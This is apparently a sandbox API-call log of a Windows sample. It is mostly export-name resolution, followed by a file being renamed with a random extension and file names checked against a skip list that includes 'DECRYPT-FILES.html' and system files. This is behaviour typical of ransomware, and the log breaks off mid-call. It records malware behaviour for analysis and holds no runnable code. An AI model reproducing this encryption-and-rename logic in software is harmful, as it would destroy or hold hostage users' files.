[0121.097] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0121.097] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0121.097] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0121.097] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0121.097] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0121.097] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0121.097] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0121.097] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0121.097] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0121.097] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0121.097] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0121.097] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0121.097] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0121.097] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0121.097] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0121.097] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0121.097] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0121.097] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0121.097] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0121.097] lstrlenA (lpString="CLOSESTATE") returned 10 [0121.097] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0121.097] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0121.097] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0121.097] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0121.097] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0121.097] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0121.097] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0121.097] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0121.097] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0121.097] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0121.097] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0121.097] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0121.097] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0121.097] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0121.098] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0121.098] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0121.098] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0121.098] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0121.098] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0121.098] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0121.098] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0121.098] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0121.098] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0121.098] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0121.098] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0121.098] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0121.098] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0121.098] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0121.098] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0121.098] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0121.098] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0121.098] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0121.098] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0121.098] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0121.098] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0121.098] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0121.098] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0121.098] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0121.098] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0121.098] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0121.098] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0121.098] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0121.098] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0121.098] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0121.098] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0121.098] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0121.098] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0121.098] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0121.098] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0121.098] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0121.098] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0121.099] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0121.099] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0121.099] lstrlenA (lpString="COPYCONTEXT") returned 11 [0121.099] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0121.099] lstrlenA (lpString="COPYFILE2") returned 9 [0121.099] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0121.099] lstrlenA (lpString="COPYFILEA") returned 9 [0121.099] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0121.099] lstrlenA (lpString="COPYFILEEXA") returned 11 [0121.099] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0121.099] lstrlenA (lpString="COPYFILEEXW") returned 11 [0121.099] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0121.099] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0121.099] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0121.099] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0121.099] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0121.099] lstrlenA (lpString="COPYFILEW") returned 9 [0121.099] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0121.099] lstrlenA (lpString="COPYLZFILE") returned 10 [0121.099] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0121.099] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0121.099] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0121.099] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0121.099] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0121.099] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0121.099] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0121.099] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0121.099] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0121.099] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0121.099] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0121.099] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0121.099] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0121.099] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0121.099] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0121.099] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0121.100] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0121.100] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0121.100] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0121.100] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0121.100] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0121.100] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0121.100] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0121.100] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0121.100] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0121.100] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0121.100] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0121.100] lstrlenA (lpString="CREATEEVENTA") returned 12 [0121.100] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0121.100] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0121.100] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0121.100] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0121.100] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0121.100] lstrlenA (lpString="CREATEEVENTW") returned 12 [0121.100] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0121.100] lstrlenA (lpString="CREATEFIBER") returned 11 [0121.100] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0121.100] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0121.100] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0121.100] lstrlenA (lpString="CREATEFILE2") returned 11 [0121.100] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0121.100] lstrlenA (lpString="CREATEFILEA") returned 11 [0121.100] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0121.100] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0121.100] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0121.100] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0121.100] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0121.100] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0121.100] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0121.100] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0121.100] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0121.101] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0121.101] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0121.101] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0121.101] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0121.101] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0121.101] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0121.101] lstrlenA (lpString="CREATEFILEW") returned 11 [0121.101] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0121.101] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0121.101] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0121.101] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0121.101] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0121.101] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0121.101] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0121.101] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0121.101] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0121.101] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0121.101] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0121.101] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0121.101] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0121.101] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0121.101] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0121.101] lstrlenA (lpString="CREATEJOBSET") returned 12 [0121.101] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0121.101] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0121.101] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0121.101] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0121.101] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0121.101] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0121.101] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0121.101] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0121.102] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0121.102] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0121.102] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0121.102] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0121.102] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0121.102] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0121.102] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0121.102] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0121.102] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0121.102] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0121.102] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0121.102] lstrlenA (lpString="CREATEPIPE") returned 10 [0121.102] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0121.102] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0121.102] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0121.102] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0121.102] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0121.102] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0121.102] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0121.102] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0121.102] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0121.102] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0121.102] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0121.102] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0121.102] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0121.102] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0121.102] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0121.102] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0121.102] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0121.102] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0121.102] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0121.102] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0121.102] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0121.102] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0121.102] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0121.103] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0121.103] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0121.103] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0121.103] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0121.103] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0121.103] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0121.103] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0121.103] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0121.103] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0121.103] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0121.103] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0121.103] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0121.103] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0121.103] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0121.103] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0121.103] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0121.103] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0121.103] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0121.103] lstrlenA (lpString="CREATETHREAD") returned 12 [0121.103] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0121.103] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0121.103] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0121.103] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0121.103] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0121.103] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0121.103] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0121.103] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0121.103] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0121.103] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0121.103] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0121.103] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0121.103] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0121.103] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0121.103] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0121.104] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml.K0aJwLN") returned 52 [0121.104] MoveFileExW (lpExistingFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml.K0aJwLN" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml.k0ajwln"), dwFlags=0x0) returned 1 [0121.104] VirtualFree (lpAddress=0x2d20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.105] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.105] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.105] FindNextFileW (in: hFindFile=0x3b81280, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0121.105] lstrcmpiW (lpString1="SetupResources.dll", lpString2="DECRYPT-FILES.html") returned 1 [0121.105] lstrcmpiW (lpString1="SetupResources.dll", lpString2="autorun.inf") returned 1 [0121.105] lstrcmpiW (lpString1="SetupResources.dll", lpString2="boot.ini") returned 1 [0121.105] lstrcmpiW (lpString1="SetupResources.dll", lpString2="desktop.ini") returned 1 [0121.105] lstrcmpiW (lpString1="SetupResources.dll", lpString2="ntuser.dat") returned 1 [0121.105] lstrcmpiW (lpString1="SetupResources.dll", lpString2="iconcache.db") returned 1 [0121.105] lstrcmpiW 